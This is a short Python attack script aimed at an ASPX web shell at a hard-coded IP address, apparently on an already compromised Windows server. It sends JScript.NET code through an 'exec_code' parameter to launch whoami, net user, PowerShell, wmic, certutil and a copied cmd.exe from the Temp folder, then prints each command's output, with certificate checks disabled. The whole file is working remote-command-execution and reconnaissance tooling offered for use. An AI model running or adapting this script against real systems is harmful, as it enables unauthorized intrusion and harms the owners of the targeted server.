#!/usr/bin/env python3
import requests
requests.packages.urllib3.disable_warnings()
EVAL = "https://213.6.54.59/aspnet_client/movvtf.aspx"
def run(exe, args):
    return ('try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="%s";'
            'p.StartInfo.Arguments="%s";p.StartInfo.UseShellExecute=false;'
            'p.StartInfo.RedirectStandardOutput=true;p.StartInfo.RedirectStandardError=true;'
            'p.Start();var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();'
            'Response.Write("OK<"+o+">");}catch(e){Response.Write("EXC:"+e.message);}') % (exe, args)
bins = [
 ("whoami.exe", r"C:\\Windows\\System32\\whoami.exe", ""),
 ("hostname.exe", r"C:\\Windows\\System32\\hostname.exe", ""),
 ("net.exe", r"C:\\Windows\\System32\\net.exe", "user"),
 ("powershell.exe", r"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "-c \"whoami\""),
 ("wmic.exe", r"C:\\Windows\\System32\\wbem\\wmic.exe", "os get caption"),
 ("certutil.exe", r"C:\\Windows\\System32\\certutil.exe", "-?"),
 ("notepad-copy-cmd", r"C:\\Windows\\Temp\\c.exe", "/c whoami"),
]
for n, exe, args in bins:
    try:
        r = requests.post(EVAL, headers={'Content-Type': 'application/x-www-form-urlencoded'},
                          params={"exec_code": run(exe, args)}, verify=False, timeout=30)
        print(f"[{n}] {r.status_code} {r.text.split('!BD')[0][:200]!r}", flush=True)
    except Exception as e:
        print(f"[{n}] err {type(e).__name__} {str(e)[:80]}", flush=True)